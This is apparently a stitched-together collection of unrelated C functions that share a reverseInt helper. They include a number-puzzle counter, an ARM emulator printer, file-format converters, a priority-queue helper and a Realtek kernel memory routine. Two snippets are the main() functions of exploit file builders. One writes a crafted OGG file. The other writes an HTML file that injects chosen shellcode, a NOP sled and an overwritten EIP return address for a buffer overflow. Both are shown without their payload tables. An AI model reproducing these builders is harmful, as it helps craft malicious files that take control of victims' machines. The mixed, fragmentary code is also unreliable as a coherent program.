int main(){
//TODO: faster
uint max = 1000000000;
uint count = 0;
for(uint i = 10; i < max; i++){
if(i % 10 != 0){
string s = intToString(i);
if(((int)(s[0]) + (int)(s[s.size() - 1])) % 2 != 0){
uint reverse = reverseInt(i);
vector<uint> d = digits(i + reverse);
int j = 8;
bool isRev = true;
do{
if(d[j] > 0){
isRev = false;
}
j -= 2;
}while(isRev && j >= 0);
if(isRev){
count++;
}
}
}
}
cout << count << endl;
return 0;
}
/*------main--------*/
int main(int argc,char* argv[])
{
if(argc<2)
{
system("CLS");
printf("%s%s",banner,arguments);
Targetprint();exit(0);
}
input=atoi(argv[1]);
switch(input)
{
case 0:
reverseInt(RET[0].eip);
cpy(RET[0].eip,bf);
break;
case 1:
reverseInt(RET[1].eip);
cpy(RET[1].eip,bf);
break;
case 2:
reverseInt(RET[2].eip);
cpy(RET[2].eip,bf);
break;
case 3:
reverseInt(RET[3].eip);
cpy(RET[3].eip,bf);
break;
case 4:
reverseInt(RET[4].eip);
cpy(RET[4].eip,bf);
break;
}
printf("[!]Using : %s retaddress\n",RET[input].etype);
buildF(b); oggf(OGGfile); getchar();
return 0;
}
int main()
{
int p[LIMIT],i;
printf("Enter %d Numbers \n",LIMIT);
for(i=0;i<LIMIT;i++)
scanf("%d",p+i);
printf("Current Order: \n");
dispInt(p);
reverseInt(p);
printf("Reverse Order: \n");
dispInt(p);
return 0;
}
void printMemory(ARM* arm) {
printf("%s\n", "Non-zero memory:");
for (int i = MEM_ADDR; i < MAX_MEMORY_SIZE; ++i) {
if (arm->memory[i]) {
// 1: First parameter to print is 4 * i because our memory is
// word-addressable, and their is byte-addressable
// 2: Second parameter is the reverse number we store in memory
// because when we read, fread reverses the order of bytes read.
printf("0x%.8x: 0x%.8x\n", 4 * i , reverseInt(arm->memory[i]));
}
}
}
void typeConvertFCtoDH(fileContainer_t *fileContainer, dataHolder_t *dataHolder){
intConvert_t org;
LOG("typeConvertFCtoDH((fileContainer{%d, %p, %s}, dataHolder{%d, %p})\n", fileContainer->size, fileContainer->rawData, fileContainer->extension, dataHolder->size, dataHolder->data);
org.number = fileContainer->size;
reverseInt(&org);
dataHolder->size = sizeof(int) + fileContainer->size + strlen(fileContainer->extension);
LOG("dataHolder->size=%d\n", dataHolder->size);
dataHolder->data = malloc(dataHolder->size);
((int *)dataHolder->data)[0] = org.number;
memcpy(dataHolder->data + sizeof(int), fileContainer->rawData, fileContainer->size);
memcpy(dataHolder->data + sizeof(int) + fileContainer->size, fileContainer->extension, strlen(fileContainer->extension));
}
/* Return that queue's entry which would be its last if the address were its size */
priorityQueueEntry* nodeAt(priorityQueue* queue, int address)
{
priorityQueueEntry* current=queue->root;
address=reverseInt(address);
while(address!=1) {
if(address%2==0)
current = current->childl;
else
current = current->childr;
address/=2;
}
return current;
}
void typeConvertDHtoFC(fileContainer_t *fileContainer, dataHolder_t *dataHolder){
intConvert_t org;
LOG("typeConvertDHtoFC((fileContainer{%d, %p, %s}, dataHolder{%d, %p})\n", fileContainer->size, fileContainer->rawData, fileContainer->extension, dataHolder->size, dataHolder->data);
int extSize;
org.number = ((int *)dataHolder->data)[0];
reverseInt(&org);
fileContainer->size = org.number;
LOG("fileSize is: %d\n", fileContainer->size);
fileContainer->rawData = malloc(fileContainer->size);
extSize = dataHolder->size - (fileContainer->size + sizeof(int));
LOG("extSize is: %d\n", extSize);
memcpy(fileContainer->rawData, dataHolder->data+sizeof(int), fileContainer->size);
memcpy(fileContainer->extension, dataHolder->data + sizeof(int) + fileContainer->size, extSize);
fileContainer->extension[extSize] = 0;
LOG("ext is %s\n", fileContainer->extension);
}
/*--------main---------*/
int main(int argc,char* argv[])
{
system("CLS");
cpy(banner,buffer);
printf("%s",buffer);
print("Starting exploit...");
printShell();
printTargets();
if (argc < 2)
{
print("Too few args");
exit(0);
}
memcpy(fbuffer, data, strlen(data));
j=atoi(argv[1]);
switch(j)
{
case 0:
memcpy(fbuffer+SHELL_OFFSET,shellc[0].shelltype,sizeof(shellc[0].shelltype));
break;
case 1:
memcpy(fbuffer+SHELL_OFFSET,shellc[1].shelltype,sizeof(shellc[1].shelltype));
break;
case 2:
memcpy(fbuffer+SHELL_OFFSET,shellc[2].shelltype,sizeof(shellc[2].shelltype));
break;
case 3:
memcpy(fbuffer+SHELL_OFFSET,shellc[3].shelltype,sizeof(shellc[3].shelltype));
memset(fbuffer+SHELL_OFFSET+strlen(shellc[3].shelltype),0x90,161);
break;
default: exit(0);
}
T=atoi(argv[2]);
if (T==0)
{
reverseInt(target[T].eip);
memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);}
else
if (T==1)
{
reverseInt(target[T].eip);
memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
}
else
if (T==2)
{
reverseInt(target[T].eip);
memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
}
else
if (T==3)
{
reverseInt(target[T].eip);
memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
}
else
if (T==4)
{
reverseInt(target[T].eip);
memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
}
fileBuild(HTMLFILE,fbuffer);
printf("You are using the %s ret address\n",target[T].windows);
printf("You are using the %s shellcode\n",shellc[j].shellname);
print("Building file");
print("DONE! file is build");
getchar();
return 0;
}
struct prom_pmemblock * __init prom_getmdesc(void)
{
char *memsize_str;
unsigned int memsize;
char tmp_cmdline[COMMAND_LINE_SIZE];
char *tmp_str;
strlcpy(tmp_cmdline, arcs_cmdline, COMMAND_LINE_SIZE);
tmp_str = find_args(tmp_cmdline, "debug_ros");
if (tmp_str) {
sscanf(tmp_str, "%x", &audio_addr);
debug_flag = 1;
}
if (audio_addr == 0) {
audio_addr = *((unsigned int *)0xa00000d8);
audio_addr = reverseInt(audio_addr);
}
if ((audio_addr < 0x81000000) || (audio_addr >= 0x82000000)) {
printk("**************************************************************\n");
printk("You didn't specify audio image address, use default instead...\n");
printk("**************************************************************\n");
audio_addr = 0;
}
memsize_str = prom_getenv("memsize");
if (!memsize_str) {
prom_printf("memsize not set in boot prom, set to default (32Mb)\n");
memsize = 0x02000000;
} else {
#ifdef DEBUG
prom_printf("prom_memsize = %s\n", memsize_str);
#endif
memsize = simple_strtol(memsize_str, NULL, 0);
if (memsize < 0x02000000) {
panic("memsize cannot be less then 32Mb.\n");
}
}
memset(mdesc, 0, sizeof(mdesc));
#ifdef CONFIG_REALTEK_MARS_RESERVE_LAST_48MB
if (memsize == 0x10000000)
memsize -= 0x03000000;
#endif
// The last page is used to store the DRAM calibration parameter;
// Jacky says that this page can be included in his RTOS memory region.
// mdesc[4].type = yamon_dontuse;
// mdesc[4].base = memsize - 4096;
// mdesc[4].size = 4096;
#if CONFIG_REALTEK_RTOS_MEMORY_SIZE
// If memsize is over 32Mb
if(memsize > 0x02000000) {
mdesc[4].type = yamon_free;
mdesc[4].base = 0x02000000;
mdesc[4].size = memsize - 0x02000000;
}
// This memory region is used by RTOS.
mdesc[3].type = yamon_dontuse;
// mdesc[3].base = mdesc[4].base - CONFIG_REALTEK_RTOS_MEMORY_SIZE;
if (audio_addr != 0) {
audio_addr = audio_addr-0x80000000;
mdesc[3].base = audio_addr;
mdesc[3].size = 0x02000000 - audio_addr;
} else {
mdesc[3].base = 0x02000000 - CONFIG_REALTEK_RTOS_MEMORY_SIZE;
mdesc[3].size = CONFIG_REALTEK_RTOS_MEMORY_SIZE;
}
printk("audio addr: %x \n", audio_addr);
// Kernel image is stored in 0x100000 - CPHYSADDR(PFN_ALIGN(&_end)).
mdesc[2].type = yamon_free;
mdesc[2].base = CPHYSADDR(PFN_ALIGN(&_end));
mdesc[2].size = mdesc[3].base - CPHYSADDR(PFN_ALIGN(&_end));
#else
// Kernel image is stored in 0x100000 - CPHYSADDR(PFN_ALIGN(&_end)).
mdesc[2].type = yamon_free;
mdesc[2].base = CPHYSADDR(PFN_ALIGN(&_end));
mdesc[2].size = memsize - CPHYSADDR(PFN_ALIGN(&_end));
#endif
mdesc[1].type = yamon_dontuse;
mdesc[1].base = 0x100000;
mdesc[1].size = CPHYSADDR(PFN_ALIGN(&_end))-0x100000;
mdesc[0].type = yamon_free;
mdesc[0].base = 0x0;
mdesc[0].size = 0x100000;
return &mdesc[0];
}
